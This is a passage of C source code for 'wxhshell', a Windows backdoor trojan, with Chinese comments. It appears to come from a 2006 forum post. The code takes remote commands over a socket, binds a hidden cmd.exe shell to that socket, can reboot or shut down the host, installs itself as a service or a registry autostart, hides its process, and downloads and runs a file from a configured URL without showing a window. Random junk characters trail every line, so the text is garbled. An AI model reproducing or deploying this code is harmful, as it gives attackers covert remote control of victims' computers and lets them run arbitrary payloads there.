  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h:US]ZC^Z  
  } ]%ZjD  
  else { 2_ZHJ,r   
IAt+S-q0  
    switch(cmd[0]) { N8/Au=De_  
  Ed ?Yk* 4  
  // 帮助 |?pYJkrYO  
  case '?': { NZi'eZ{^`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \a~;8):q=i  
    break; XH_qA[=c]  
  } Cbf,X[u  
  // 安装 +wPvQKVfI  
  case 'i': { +@<^i?ale  
    if(Install()) 37za^n?SG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \sXm Mc  
    else u+, jAkr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fR{WS:Pv  
    break; m8j#{[NE  
    } :jN;l  
  // 卸载 G41$oalQ1  
  case 'r': { G1n>@Y'j''  
    if(Uninstall()) g'l7Jr3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); })yb   
    else .bY1N5=sz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +MZ2e^\F  
    break; `zvT5=*-#  
    } u.xA}yVS  
  // 显示 wxhshell 所在路径 U%S NROj  
  case 'p': { O.m.]%URW  
    char svExeFile[MAX_PATH]; k%bTs+] *  
    strcpy(svExeFile,"\n\r"); (HP={MrV  
      strcat(svExeFile,ExeFile); Ug[F3J|Mu  
        send(wsh,svExeFile,strlen(svExeFile),0); p_kTLNZd9  
    break; 9BgQ oK@  
    } rqG6Ll`=+  
  // 重启 7zOvoQ}  
  case 'b': { U]R|ej  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ jM6ej<  
    if(Boot(REBOOT)) fSb@7L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u{y5'cJ{  
    else { {3 yws 4  
    closesocket(wsh); 5E!|on  
    ExitThread(0); h?O%XnD  
    } v |hKf6  
    break; Bg 8t'dw?K  
    } s t3]Yy  
  // 关机 *SpO|*'  
  case 'd': { :d/:Ga5v!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wE=8jl*  
    if(Boot(SHUTDOWN)) NIcNL(]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3ks|  
    else { hc~#l#  
    closesocket(wsh); +\]S<T*;  
    ExitThread(0); )7BNzj"~  
    } :O2v0Kx  
    break; \?Oa}&k$F8  
    } { N8rZ[Oo  
  // 获取shell U S~JLJI  
  case 's': { A UO0  
    CmdShell(wsh); 9cHNwgD>v  
    closesocket(wsh); Y{\2wU!Isn  
    ExitThread(0); Vt 5XC~jK  
    break; m:o$|7r  
  } aG&kl O>m  
  // 退出 Z_TbM^N  
  case 'x': { @eD2<e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wug?CFX+T  
    CloseIt(wsh); EC&19  
    break; 8CHf.SXh  
    } 'J<zVD}0  
  // 离开 "\P~Re"EH  
  case 'q': { Ffqn|} gb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); vskM;  
    closesocket(wsh); 'Y/V9;`)s  
    WSACleanup(); 6(Rq R  
    exit(1); n$VPh/  
    break; enO=-#  
        } Vf* B1Zb  
  } ]4pC\0c  
  } Y K62#;  
[;\< 2=H  
  // 提示信息 r4qV}-E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^*T{-U'  
} B=qRZA!DQ?  
  } AF nl t  
REe%>|   
  return; @ F"ShT0  
} {`SGB;ho  
z j0pP{y  
// shell模块句柄 ?>Ci`XlLr  
int CmdShell(SOCKET sock) w2_I/s6B  
{ >5Rw~  
STARTUPINFO si; 3R96;d;  
ZeroMemory(&si,sizeof(si)); dXSb%ho  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2T?1X{g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?@7|Q/  
PROCESS_INFORMATION ProcessInfo; ErUk>V  
char cmdline[]="cmd"; .*..pf|/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?J1&,'&  
  return 0; Le+8s LE`Y  
} +]2~@=<@  
GAe_Z( T  
// 自身启动模式 4zvU"np  
int StartFromService(void) F;l<>|vG  
{ H<3b+Sg  
typedef struct k{$"-3ed  
{ Z)>a6s$ih<  
  DWORD ExitStatus; q+=@kXs>+  
  DWORD PebBaseAddress; # SOj4W  
  DWORD AffinityMask; bSKV|z/x  
  DWORD BasePriority; M;@03 x W  
  ULONG UniqueProcessId; yH0ZSv  
  ULONG InheritedFromUniqueProcessId; 'g, x}6  
}   PROCESS_BASIC_INFORMATION; ]$%4;o4O  
 E8V\J  
PROCNTQSIP NtQueryInformationProcess; P bC>v  
}Z%{QJ$z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YV+dUvz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s%re>)=|  
*" +cP!  
  HANDLE             hProcess; rb4g<f|  
  PROCESS_BASIC_INFORMATION pbi; "pJ EzC  
N>#P 1!eP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8&iI+\lCy  
  if(NULL == hInst ) return 0; ))-M+CA  
:re(khZq#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (B4 A$t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >LZ)<-Mk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'wHkE/ 83  
JH,fg K+[  
  if (!NtQueryInformationProcess) return 0; gG?*Fi  
"!eT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nqW:P$  
  if(!hProcess) return 0; im%3*bv-  
2n,73$ s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 833t0Ml1A/  
mqxy(zS]  
  CloseHandle(hProcess); W- B[_  
Fi}rv[`XY[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yM~D.D3H  
if(hProcess==NULL) return 0; ^d=@RTyo/  
Jm^jz  
HMODULE hMod; nf^k3QS\  
char procName[255]; t|,Ex7  
unsigned long cbNeeded; 0X6o  
qOanu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {;~iq  
'%7]xp  
  CloseHandle(hProcess); {Z;GNMO:  
jCa;g{#@  
if(strstr(procName,"services")) return 1; // 以服务启动 BFRSYwPr  
X+BSneu  
  return 0; // 注册表启动 y6yseR!  
} $+N^ s^  
S :|*wB  
// 主模块 1F8EL)9  
int StartWxhshell(LPSTR lpCmdLine) -w0>4JDs  
{ y`dzo`f  
  SOCKET wsl; (NlEb'~+  
BOOL val=TRUE; [Y~s  
  int port=0; a-hGpYJJG  
  struct sockaddr_in door; H(m+rk  
0u9h2/ma  
  if(wscfg.ws_autoins) Install(); BGjTa.&  
|ZzBCL8q  
port=atoi(lpCmdLine); nA j2k  
tS@/Bq('B  
if(port<=0) port=wscfg.ws_port; D'+8]B  
>C66X?0cd  
  WSADATA data; 1W7BN~p14  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~;s)0M  
00TdX|V`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6S&YL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |`/uS;O  
  door.sin_family = AF_INET; m^+ ~pC5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ApBThW *E  
  door.sin_port = htons(port); ?V)6`St#C  
k,(_R=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2"^9t1C2  
closesocket(wsl); k"c_x*f  
return 1; F4{<;4N0  
} pP& M]'  
^a5>`W  
  if(listen(wsl,2) == INVALID_SOCKET) { {HDlv[O%  
closesocket(wsl); z#/*LP#oY  
return 1; c^k. <EA  
} -qF|Y f  
  Wxhshell(wsl); rpWy 6oD  
  WSACleanup(); #+\G- =-  
b>EUa> h  
return 0; /ep~/#Ia  
?8/h3xV;  
} _\[G7  
';F][x5j  
// 以NT服务方式启动 1>{(dd?L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2N]s}/l  
{ 8m0sEV>  
DWORD   status = 0; >S]')O$c  
  DWORD   specificError = 0xfffffff; V|`|CVFo]  
Zv93cv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VV0$L=mo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B8Z66#EQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }lVUa{ubf  
  serviceStatus.dwWin32ExitCode     = 0; E(#2/E6  
  serviceStatus.dwServiceSpecificExitCode = 0; e:<> Yq+  
  serviceStatus.dwCheckPoint       = 0; NR{:4zJT  
  serviceStatus.dwWaitHint       = 0; .EwK>ro4  
H'>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W aU_Z/{0  
  if (hServiceStatusHandle==0) return; ;;5i'h~?]J  
\eCdGx?  
status = GetLastError(); AJ u.  
  if (status!=NO_ERROR) A\Gw+l<h,  
{ IgL8u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *Y~64FM  
    serviceStatus.dwCheckPoint       = 0; Po3W+; @  
    serviceStatus.dwWaitHint       = 0; f_8~b0`  
    serviceStatus.dwWin32ExitCode     = status; jEIL(0_H  
    serviceStatus.dwServiceSpecificExitCode = specificError; yW 3h_08  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0b 'R5I.M  
    return; t,_[nu(~8%  
  } Viw3 /K  
#4>F%_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XLT<,B}e  
  serviceStatus.dwCheckPoint       = 0; W!*vO>^1W  
  serviceStatus.dwWaitHint       = 0; AbB>ZT>hR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +fN0> @s  
} KMZ`Wn=  
rf@81Ds  
// 处理NT服务事件,比如:启动、停止 v]~[~\|a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [qB=OxH?  
{ @$]h[   
switch(fdwControl) S8l+WF4q  
{ M;R>]wP"V  
case SERVICE_CONTROL_STOP: Tx_ LH"8  
  serviceStatus.dwWin32ExitCode = 0; 7Z_iQ1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )SuJK.IF  
  serviceStatus.dwCheckPoint   = 0; 3]acfCacC  
  serviceStatus.dwWaitHint     = 0; VbjW$?  
  { ?$Pj[O^hl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~m7+^c@,  
  } vNIQc "\-  
  return; ,U}8(D~:  
case SERVICE_CONTROL_PAUSE: 75y#^pD?c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b%(0AL  
  break; <>TBM^  
case SERVICE_CONTROL_CONTINUE: yyc&'J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KMV!Hqkk  
  break; O9Aooe4W=  
case SERVICE_CONTROL_INTERROGATE: \=)h6AG  
  break; r+Y1m\  
}; x{E[qH_1Fm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ln5On_Wm  
} & BkNkb0  
~gN'";1i  
// 标准应用程序主函数 ]CjODa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e]QkZg2?Yn  
{ #~b9H05D  
-84Z8?_  
// 获取操作系统版本 aO1cd_d6x_  
OsIsNt=GetOsVer(); gE1".qC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y06 2/$*$  
!k:j+h/  
  // 从命令行安装 sp%7iNs  
  if(strpbrk(lpCmdLine,"iI")) Install(); JLhp25{x  
y3#\mBiw  
  // 下载执行文件 4/b#$o<I?  
if(wscfg.ws_downexe) { ctGjqHo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SDkN  
  WinExec(wscfg.ws_filenam,SW_HIDE); LHp s2,  
} F3q5!1  
l< Y x  
if(!OsIsNt) { ~$`b{  
// 如果时win9x,隐藏进程并且设置为注册表启动 &N EzKf  
HideProc(); JsV#:  
StartWxhshell(lpCmdLine); yAOC<d9 E  
} [ LCi,  
else m<E7cY3mX  
  if(StartFromService()) kHO\#fF<  
  // 以服务方式启动 <FP -]R)  
  StartServiceCtrlDispatcher(DispatchTable); Xp' KQ1w)  
else {RK#W~h  
  // 普通方式启动 rTH@PDk>)  
  StartWxhshell(lpCmdLine); UxW~yk  
7 ?Fl [FW$  
return 0; ;.Kzc3yz}  
}
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只看该作者 1 发表于: 2006-10-10
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